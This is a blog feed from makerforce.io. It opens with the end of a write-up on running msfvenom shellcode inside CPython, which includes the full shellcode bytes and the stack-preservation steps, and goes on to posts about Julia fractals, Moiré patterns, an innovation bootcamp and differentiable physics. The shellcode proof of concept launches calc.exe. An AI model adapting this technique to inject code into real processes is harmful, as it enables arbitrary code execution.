Attempting to run that successfully opens calc.exe but results in a crash in CPython:

(14b0.2714): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000001e1`1696d51b 63616c          movsxd  esp,dword ptr [rcx+6Ch] ds:00000000`0000006c=????????
0:000> da
000001e1`1696d51b  "calc.exe"

It attempted to run calc.exe! Also remember how this shellcode should return a PyObject* so that CPython doesn't crash? Furthermore, msfvenom shellcode destroys the stack and some important registers (The audacity!). Hence, to ensure it doesn't crash we'd need to:

  1. Move the stack pointer forward
  2. Push a bunch of important registers
  3. Run the shellcode
  4. Restore the stack
  5. Pop the important registers back
  6. Move the stack pointer backwards to its original place
  7. Move the pointer of a random PyObject into rax
  8. Return

The calc.exe also has to be moved forward to allow space for steps 4-8, so pointers in the shellcode also has to be patched. Here's what it looks like:

retobj = "Success!! ^-^"
shellcode = b"".join([

    b"\x48\x81\xec\x00\x10\x00\x00", # sub rsp,0x1000
    b"\x50\x53\x51\x52\x55", # push rax, rbx, rcx, rdx, rbp
    
    # msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python
    # Modified to not crash the interpreter, 
    # at least until it finishes running this file.
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41",
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48",
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f",
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c",
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52",
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b",
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0",
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56",
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9",
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0",
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58",
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44",
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0",
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a",
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48",
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00",
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x1f\x01\x00\x00\x41",
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41",
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06",
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a",
    b"\x00\x59\x41\x89\xda\xff\xd5",

    b"\x48\x81\xc4\x38\x00\x00\x00", # add rsp,0x38
    b"\x5D\x5A\x59\x5B\x58", # pop rax, rbx, rcx, rdx, rbp
    b"\x48\x81\xc4\x00\x10\x00\x00", # add rsp,0x1000
    b"\x48\xb8" + id(retobj).to_bytes(8, 'little'), # mov rax, <retobj addr>
    b"\xc3", # ret

    b"calc.exe\x00",

])

# ...

# Returns our call gadget
run = g()

# Run our call gadget
print(run())

# Output:
# > Success!! ^-^

And it's done! If you want to see the full script to run the exploit, see here!

CPython actually crashes when the program ends in the garbage collector. And that's because our PyFuncObject and its PyTypeObject is so hopelessly malformed.

Final Thoughts

I would have had stuff to write here if I didn't procrastinate writing this article for a whole week.

]]>
<![CDATA[Folding the Julia Fractal]]>So the Julia sets are a class of sets that have became very popular because of their beauty and an interesting object of study. The definition of a Julia set is really simple, it is the set of complex numbers \(\bold S_c\) such that for \(z \in \bold S_

]]>
https://makerforce.io/unfolding-the-julia-fractal/5fb89d6cdb73060001788021Mon, 23 Nov 2020 15:18:51 GMT

So the Julia sets are a class of sets that have became very popular because of their beauty and an interesting object of study. The definition of a Julia set is really simple, it is the set of complex numbers \(\bold S_c\) such that for \(z \in \bold S_c\), we have \(|f^n_c(z)| \le 2\), where \(f_c(z) = z^2 + c\). Each choice of \(c\) gives rise to a different Julia set with distinct looks. I might write more about these stuff maybe but given how popular this subject is you can find a lot of it's cool properties anywhere on the internet. I suggest checking out Inigo Quilez on the subject of rendering them.

I hope your internet's good. Due to the nature of the subject it does require rather large images.

Given how simple the definitions of these sets are, it makes it really easy and straight-forward to render them. It can be done in a few lines and is one of the first things I ever coded.

Folding the Julia Fractal

The source code for the above is here, you can use the mouse to control the value of \(c\). I left the shitty code there for sorta a historical record. Read with caution, it's painful to the eyes.

The procedure to render a Julia fractal is very simple:

  1. Start with a complex number \(z\)
  2. Successively compute \(z=z^2+c\) for a maximum of \(N\) iterations. A larger \(N\) gives a more detailed fractal.
  3. If \(|z|>2\) at any iteration, prematurely stop the computation

For the above GIF, I simply assigned the number of iterations to reach step 3 as the colour: White if step 3 was never reached and different values of grey otherwise.

The creative part comes with how to shade it. I came across a method that involves procedural orbit traps here and attempted to replicate it.

Folding the Julia Fractal

The source code and demo is here. Instead of generating the cloud-like texture procedurally, a texture is used instead. It runs real time and hopefully on mobile browsers too so do give the link a click. The fractal above uses a value of \(c\) around the neighbourhood of \(M_{23,2}\), a Misiurewicz Point that gives the fractal a lacy appearance.

Speaking of lacy, another cool way to render is by estimating it's distance function. I did this a long time ago and probably deleted the source code along the way.

Folding the Julia Fractal

Given the seeming complexity of these fractals, I wondered if there was a way to visualize the formation of them. Since they form via very simple rules, there should be a nice way to depict them. My first attempt was to naively interpolate between each iteration, allowing me to create a smooth animation despite the otherwise discrete procedure. Trying many many ways to interpolate the best I got was this:

Folding the Julia Fractal

It looks cool but imo doesn't show how the very crucial \(z^2+c\) plays a role in it's formation. That took me 2 hours by the way.

Next I had the idea of mapping. The operation \(f_c(z) = z^2+c\) maps a point \(z\) to a point \(z^2+c\). The mapping that forms the Julia fractal \(f^n_c\) is simply that mapping applied several times. Here's my attempt at visualizing \(f_c\):

Folding the Julia Fractal

The first half of the GIF describes the \(+c\) operation, which is simply a shift in the direction of \(c\) . The second half describes the \(z^2\) operation, which is sorta a 'squishing' of the space rotationally, resulting in 2 copies of the image. At the end of the first iteration, we have two displaced copies of the image:

Folding the Julia Fractal

Now, every iteration would generate \(\times 2\) more copies, and you can see how the fractal gets more and more complicated at each iteration.

Folding the Julia Fractal

The above took forever to render by the way, given how slow python really is. Maybe 40fps is a little overkill for a gif but I digress.

]]>
<![CDATA[Magnifying the Micro with MoirĂ© Patterns]]>Here I design circular screen patterns that can be used to magnify grid-like stuff, like the pixels on your screen or threads in a cloth via Moiré Patterns, such that you can calculate properties about them with a crude measuring tool like a ruler. At the same time, I

]]>
https://makerforce.io/moire-patterns/5f9d6d65c6bf910001508245Sun, 08 Nov 2020 09:41:29 GMT

Here I design circular screen patterns that can be used to magnify grid-like stuff, like the pixels on your screen or threads in a cloth via Moiré Patterns, such that you can calculate properties about them with a crude measuring tool like a ruler. At the same time, I present a mathematical formulation of what even are Moiré Patterns. It's a rather ad-hoc formulation, so if there are some things I missed do point it out.

I might write a follow up post where the patterns are printed on transparencies to be used IRL.

Some context: Most of these explorations happened back in 2018 with a friend of mine, Vernice. Me and Vernice even printed out the patterns on transparencies to slap on random things IRL. Unfortunately I don't have the original files and transparencies, neither did I document anything so here I've recreated everything and re-derived the Math and stuff.

What are Moiré Patterns?

Moiré Patterns are these trippy magnified patterns that come from overlapping repeated small screen patterns.

Magnifying the Micro with Moiré Patterns

If you were to Wikipedia this, which you totally should, you would see that Moiré Patterns are used everywhere, from fraudulent banknote detection to Material Science.

The reason why the effect is amplified is because the small details in the two patterns defer ever so slightly such that the difference builds up over long distances such that the regions that the patterns overlap (lighter regions) are far away from where they don't (darker regions), causing macro bands of light and dark.

This gave us the idea of designing a special kind of screen patterns that would induce Moiré Patterns the amplify micro patterns in a way that can be measured and seen without a microscope.

Design

So due to the goal of designing a screen pattern to be used IRL, there are some crucial design constraints for our screen pattern:

  1. Screen pattern has to be radially symmetrical because the Moiré Patterns that appear are very sensitive to alignment issues. Not a nice thing to deal with IRL.
  2. Screen pattern has to be easily printable. Pattern has to be printable with ~600 dpi without causing Moiré Patterns just from the printing
  3. Screen pattern has to magnify the underlying grid for a wide range of grid sizes. Whether you use it for screens or threads-per-inch on cloth the pattern should allow the means to measure those grids.

In order to start addressing these constraints, it's very useful to form a mathematical formulation of the above problem.

Mathematical Formulation

To satisfy constraint (1), we restricted the screen pattern to consist of only circles sharing the same center. This means our pattern can be described with \(N\) circles centered on the origin with radii \(r_i = f_N(i), |r_i|\le 1, 1 \le i \le N\). Satisfying constraints (2) and (3) simply means an appropriate choice of \(f\).

Magnifying the Micro with Moiré Patterns

Now a good choice of \(f\) will be motivated by 'nice' properties of the resulting Moiré Pattern. This requires a mathematical analysis of the patterns generated by \(f\). To simplify the problem, we shall consider only vertical lines under our pattern:

Magnifying the Micro with Moiré Patterns

Since we'll be working with grids, it'll be easier to work in Cartesian Coordinates. From the image above, you can see that Moiré patterns form from the intersection of our screen pattern and the vertical lines, which causes the lighter regions.

Magnifying the Micro with Moiré Patterns

Looking closer, the Moiré Patterns in the green regions are caused by each circle in our screen pattern intersecting each vertical line. Meanwhile, in the red regions, they are caused by our pattern's circles intersecting every other vertical line.

Let our screen pattern be contained within the square with corners \((-1,-1)\), \((-1,1)\), \((1,1)\), \((1,-1)\). This simply means that \(r_i=f_N(i)\le 1\) as defined earlier. Define \(N\) to be the number of circles in our screen pattern and \(n\) to be the number of vertical lines in a unit horizontal length.

Define \(M(a,b)\), where \(a\) and \(b\) are positive coprime integers, to be the locus of points that represents the Moiré Patterns generated from every \(a\)-th circle in our screen pattern intersecting every \(b\)-th vertical line. With reference to the above image, the Moiré Patterns in the green regions are \(M(1,1)\) and that of the red regions are \(M(2,1)\). Do note that \(M(2,2)\) is equivalent to \(M(1,1)\), and more generally, \(M(a',b') \equiv M(a,b)\) if \(a'b = ab'\)

Say we take a walk from the origin \(O=(0,0)\) to the point \((x,y)\). We would have crossed \(nx\) number of vertical lines, and \(f^{-1}_N(\sqrt{x^2 + y^2})\) circles of our screen pattern. We can hence parameterize \(M(a,b)\) as such:

\displaystyle M(1,1) = \{x,y\in\mathbb{R}, nx-f^{-1}_{N}(\sqrt{x^2+y^2})=j, j \in \mathbb{Z}\} \quad (1)

Which basically says:

During the walk from \(O\) to \((x,y)\), if the number of vertical lines crossed minus the number of circles from the screen pattern crossed is \(j\), and \((x,y)\) is a point of intersection, then \((x,y)\in M(1,1)\)

Now we can extend it to \(M(a,b)\) by adding more lines and circles crossed:

\displaystyle M(a,b) = \{x,y\in\mathbb{R}, anx-f^{-1}_{bN}(\sqrt{x^2+y^2})=j, j \in \mathbb{Z}\} \quad (2)

With this formulation, we can now choose \(f\) such that \(M(a,b)\) is a nice form we can work with.

Choice of \(f\)

It seems that the choice of \(f_N(i) = \sqrt{\frac{i}{N}}\) is really nice, because \(f^{-1}\) removes the \(\sqrt{\quad}\) in equation \((2)\). However, IMO it's worthwhile to consider other power terms as well because of their mathematical properties. Here are some interesting ones that you can try to derive as an exercise:

\begin{aligned}
&f_N(i) = \sqrt{\frac{i}{N}}&: \quad& M(a,b) \text{ are circles} \\
&f_N(i) = \frac{i}{N}&: \quad& M(a,b) \text{ are the conic sections} \\
&f_N(i) = \left(\frac{i}{N}\right)^2&: \quad& M(a,b) \text{ are the elliptic curves}
\end{aligned}

Circles are obviously way easier to deal with IRL so \(f_N(i) = \sqrt{\frac{i}{N}}\) is chosen. You can easily show that the circles of \(M(a,b)\) have centers \(\displaystyle P(a,b)=\frac{an}{2bN}\) and \(\displaystyle j \le \left\lfloor \frac{a^2n^2}{4bN} \right\rfloor\)

With that, here are some plots (generated programmatically):

Magnifying the Micro with Moiré Patterns

Extending to a Grid

This is where it gets difficult to illustrate with curated images, since with increasing detail, Moiré Patterns will be created simply from displaying the pattern on your screen due to the discrete pixels aliasing the image. Aliasing at the pixel's edges causes a sort of lightening effect, which is amplified by the screen pattern, manifesting as extra circles you can see. I would be exploiting this to illustrate the Moiré Patterns.

Do note that, depending on the scale of the image on your screen, the circles of the Moiré Pattern would appear differently.

Here you can see why it is necessary that these images are in SVG, since other formats like png and jpg would cause Moiré Patterns to appear from the discretization step.

Magnifying the Micro with Moiré Patterns

Upon extending to a grid, you can see the circles of the Moiré Pattern on the vertical axis as well. The circles seem to appear on many diagonals, not just in the 8 cardinal directions. In fact, you can show that there is a bijection from \(\mathbb{Q}^2\) to the centers of all the circles of the Moiré Pattern. These are caused by the corners of the grid patterns, or your screen's pixels, aliasing the screen patterns.

Magnifying the Micro with Moiré Patterns

Analysis of these additional circles aren't needed in using the screen patterns though, so that's where the analysis stops.

Measuring My Screen's Resolution

I'll be using this SVG to measure my laptop's screen resolution with a \(30\text{cm}\) ruler. It is exactly the same as the above SVG except there are now red markings that help me align my ruler. Here, I'm using \(N=300\). From now on, I will only be concerned about Moiré Patterns appearing on the horizontal.

In order to use the pattern, there are 2 things to know about Moiré Patterns IRL:

  1. The most obvious Moiré Patterns are \(M(1,b)\) where \(b\) is a small integer
  2. If the most obvious Moiré Pattern is \(M(1,b)\), the second is \(M(1,b+1)\)

I scaled the SVG such that the edge of the pattern to the center fills most of my screen. I can't screenshot what I did here since Moiré Patterns appear just from screenshotting. I then measured relevant lengths in \(\text{cm}\) with a ruler

Length Measurement (cm)
Laptop Screen Width \(W\) 29.40
Laptop Screen Height \(H\) 16.45
Pattern's Radius \(R\) 26.00
\(r_1\) 24.55
\(r_2\) 18.45

Where \(r_1\) and \(r_2\) are the distance from the first and second most prominent circle centers to the center of the pattern.

With the 2 assumptions above, it can be found that the Moiré Pattern corresponding with \(r_1\)  and \(r_2\) are \(M(1,b_1)\) and \(M(1,b_1+1)\), where \(b_1=\left\lfloor\frac{r_2}{r_1-r_2}\right\rceil=3\).

The number of pixels per \(\text{cm}\) can be calculated as:

\displaystyle d_\text{cm} = \frac{N}{R^2}[b_1(r_1+r_2)+r_2] = \frac{N}{R^2}\left[\left\lfloor\frac{r_2}{r_1-r_2}\right\rceil(r_1+r_2)+r_2\right]

Hence my laptop's screen resolutions are:

\begin{aligned}
&\text{Width Resolution} &=& \quad Wd_\text{cm} \approx 1937 \\
&\text{Height Resolution} &=& \quad Hd_\text{cm} \approx 1084
\end{aligned}

Considering my actual screen resolution is the standard \(1920\times 1080\), my calculations are only off by a few pixels, with an error of \(\approx 0.2\%\). This is very very small considering I used a ruler with a measurement error of \(0.5mm\)!

I highly suggest trying out the formula above and see for yourself.

Concluding Stuff

So yay we measured properties of very small stuff by magnifying them with Moiré Patterns!

There are some more analysis I didn't document here. For instance, the radius of the circles of \(M(a,b)\) are actually very sensitive to alignment. If you were to do this IRL, you would see \(M(a,b)\) spasm with the slightest movement. However, the centers of \(M(a,b)\) are very stable, which is what is used here.

In the future I might write about some stuff me and Vernice found when trying out these patterns IRL back in 2018, including the Thread Per Inch (TPI) scam. Chances are, the TPI advertised on your bedsheets are very very off.

Here are the SVGs if you are interested in seeing what happens when \(f\) is chosen differently:

]]>
<![CDATA[The Hephaestus Project]]>Hephaestus is the Greek God of design and creativity. More commonly known as the partner of Aphrodite, he was also the god of the Forge and was well known for creating some of the finest jewellery in Greek mythology. Hephaestus was banished from Mount Olympus, simply because he walked with

]]>
https://makerforce.io/hephaestus-project/5f9ead6ec6bf910001508292Sun, 01 Nov 2020 14:24:00 GMTHephaestus is the Greek God of design and creativity. More commonly known as the partner of Aphrodite, he was also the god of the Forge and was well known for creating some of the finest jewellery in Greek mythology. Hephaestus was banished from Mount Olympus, simply because he walked with a limp, and when he joined the mortals on Earth he taught them how to make art and the importance of doing so. Analogous to that, the Hephaestus project aims to cultivate unique people with different perspectives, spark creativity and dares the participants to propose the ideas people might dismiss out of hand.

Edit: We take admissions on a rolling basis, so once we get the required number of innovators, admissions will close

What is Hephaestus?

Hephaestus is a week long innovation boot camp for the people who dare to dream 🧠. It aims to bring together a group of 10 people, for a program where they are able to debate, discuss, brainstorm solutions to anything they might be interested in. It provides the environment for constructive discussions, iterative problem solving methods, and social exchange to increase the creative productivity of all the innovators involved.

(And yes, we will be living together in a hacker house concept, kindly sponsored by Mistletoe)

It achieves this through a 2 pronged approach of both a structured facilitation program, and an unstructured creative environment.

Structured Facilitation Program

The structured facilitation program serves to break the ice and get the creative energy going. It also loosens the constraints one might have induced onto their thinking process, maybe due to preconceptions or inclinations. It helps you approach any problem with an open mind. The structured facilitation program also tries to create checkpoints for the innovators, to keep them on track and goal-oriented. The proposed events are as follows.

Ice breakers

  • The 10 people might not know what motivates each other to do what they do, and this exposes the raw motivations the innovators might have.
  • Connection to other innovators helps to create cross disciplinary thought, beyond just one's own expertise

Daily round robin pitch sessions

  • Keeps the innovators focused and goal-oriented
  • How one innovator solves a problem, might inadvertently help another innovator solve their own problem
  • Keeps discussion lines open, for other people's feedback and opinions
  • Helps team building, not everyone might want to work alone

Demo Day

  • Having a goal to shoot for, at least helps you aim. The Demo Day is the goal.
  • On the final day, innovators pitch their ideas to not just the other innovators but to a panel committee, who is able to evaluate and give further feedback
  • It is important to emphasize that no idea is a bad idea, some ideas are just stepping stones to better ones 😉

Industry Presenters/Workshops

  • Talking to and meeting industry folk, helps root ideas in sound science
  • Valuable feedback loops are created
  • More details on the mentors attending will be provided closer to the dates

Brain Board

  • Sometimes, innovators come up with ideas that aren't quite their thing, but might be useful to others. Sometimes, it's hard to come up with something.
  • The brain board is a giant communal collaborative space, innovators can write all manners of ideas, what they are working on, what they think might be interesting to work on, etc.
  • Cross disciplinary links, even cross-pollination among ideas can't happen unless all the ideas are on the same canvas

Unstructured Creative Environment

Structure curbs innovation, it trains you to rely on things that have already been done, or figured out. To truly have novel thoughts, you don't need structure, you need inspiration. Inspiration comes from doing new things and gaining experience or perspective. Often, inspiration comes from having fun. As such, bulk of the program tries to create this environment of exploration.

Socials Nights 🥳

  • Basically a party night, music, alcohol, banter, free-flow thoughts
  • Inhibition free debates on a variety of issues, topics can be novel or from a pre-created list
  • More often than not, the best ideas come from 3am thoughts

Movie Marathons 🎬

  • Sufficiently advanced technology is indistinguishable from magic
  • What seems like fiction, might very well be reality soon, if one can just figure out which are which

Game Nights 🎮

  • Competition, drives the spirit to work harder, and teamwork competition fosters bonds between the innovators, which could then lead to ideas

Exploratory food 🍔

  • During the program, the innovators will typically eat together so that they can discuss problems, and more important use mealtimes as a way to influence their perspectives.
  • Novel kinds of food, maybe even some basic cooking can be a way to de-stress and pick up something new

Who can join?

This program isn't a software program or even a technology program. It takes a wide set of skills to solve the problems we have in the world have today and we correspondingly need a diverse set of people. Therefore, anyone can join as long as they prove that they have an innovative mind-set and an accompanying skill-set.

If you think you have the creative potential, and the grit to solve problems you see in the world, you'll fit right in with the rest of us.

When is it happening?

The program is slated to happen in end 2020, likely within the last 2 weeks of December. Timing will be confirmed after the participation list is confirmed.

So you're interested? Apply below!

powered by Typeform
]]>
<![CDATA[Differentiating a Physics Simulator]]>Have you seen something happen that seems almost impossible to replicate? Like dropping something and have it land in just the right way, or shoot an arrow and have it land on its tip?

How would you shoot an arrow that lands like THAT?

From a simulation standpoint, you might ask what are the initial conditions required to produce that

]]>
https://makerforce.io/differentiating-a-physics-simulator/5f9d0b71c6bf910001507fb4Sat, 31 Oct 2020 09:03:20 GMTHave you seen something happen that seems almost impossible to replicate? Like dropping something and have it land in just the right way, or shoot an arrow and have it land on its tip?

How would you shoot an arrow that lands like THAT?

From a simulation standpoint, you might ask what are the initial conditions required to produce that outcome. To solve this, you could attempt to search through the whole search space. For instance, you could try all possible velocity and position of the arrow and select the ones that land on it's tip. However this is plain impractical as despite only having 7 degrees of freedom (3 for rotation, 3 for position and one for initial velocity), the search space is already huge and chances are, the solutions are but a small portion of the unwieldy search space.

Ok first off, why should we care?

The arrow problem is arguable classified under 'cool' but definitely not 'practical'. However, these kinds of problems where there is a huge search space and we are searching for only a small subset of said space is ubiquitous. Of rising visibility, we have Machine Learning, of which most forms involve finding a set of magic parameters that achieves a given task. Modern state of the art models can have billions of parameters, such as GPT-3, where OpenAI has solved for 175 billion parameters whose very special values enable GPT-3 to model English pretty well. The search space is enormous, and OpenAI definitely did not naively brute-force the search.

Differential Problems

The main reason why it is even possible to solve such problems is because some of these problems are differentiable. These problems can often be seen as an optimization problem. In other words, the problem can be formalized as extremizing the value of some function f(p), where p are the parameters of the search space. E.g. GPT-3 has a metric that scores how well GPT-3 is performing its task, and by changing the 175 billion parameters, the aim is to maximise/minimize said score.

For a problem to be differentiable, it simply means that it makes sense to find the gradient of f with respect to p: f is differentiable with respect to p. In other words, it makes sense to ask the question: How much does f(p) change given a small change in p. Most problems are not differentiable. What that means is that a small change in p in different directions could change f(p) very differently.

If a problem is differentiable, this makes extremizing f(p) really easy. If we know how f(p) change given a small change in p, we can perturb p in just the right way to increase or decrease the value of f(p), and we can do this again and again until f(p) stops changing. This idea is known as Gradient Descent, and has been the primary method for solving huge differentiable optimization problems. Of course, given the surprising detail of reality, gradient descent in practice can get really complicated, and I'm skipping a lot of details here.

The need to solve such optimizing problems have resulted in a lot of cool tech to deal with it. Machine Learning frameworks such as TensorFlow, PyTorch and Keras enables an easy way to define an optimization problem, and then solve them.

But how does this relate to the arrow problem?

It turns out some physics problems are differentiable! Some really cool people have created frameworks that makes defining and solving these kinds of problems really easy. DiffTaichi is an example of it. I modified one of the sample codes to solve for the velocity field of a fluid that mixes a fluid in just the right way to produce this:

fengshui fluid

Turns out with all the complexity of mixing fluids, to some extent it is differentiable. The problem is modeled as f(p), where f scores how close the fluid is to the final image after 100 frames, and p is the initial velocity of the fluid. The aim is to then maximise the value of f(p).

On my laptop this took a while to solve (2 hours), and I had to add some upscaling tricks to solve it properly at that resolution because sometimes gradient descent just doesn't cut it.

Cool tricks aside, differentiating a physics simulator has many practical applications (I like to think of it as differentiating the world). Gradient descent has been used for a lot of design optimizations, such as to optimize mechanical designs such as the wings of planes and linkages. There's definitely way more but these are the ones that came to mind.

]]>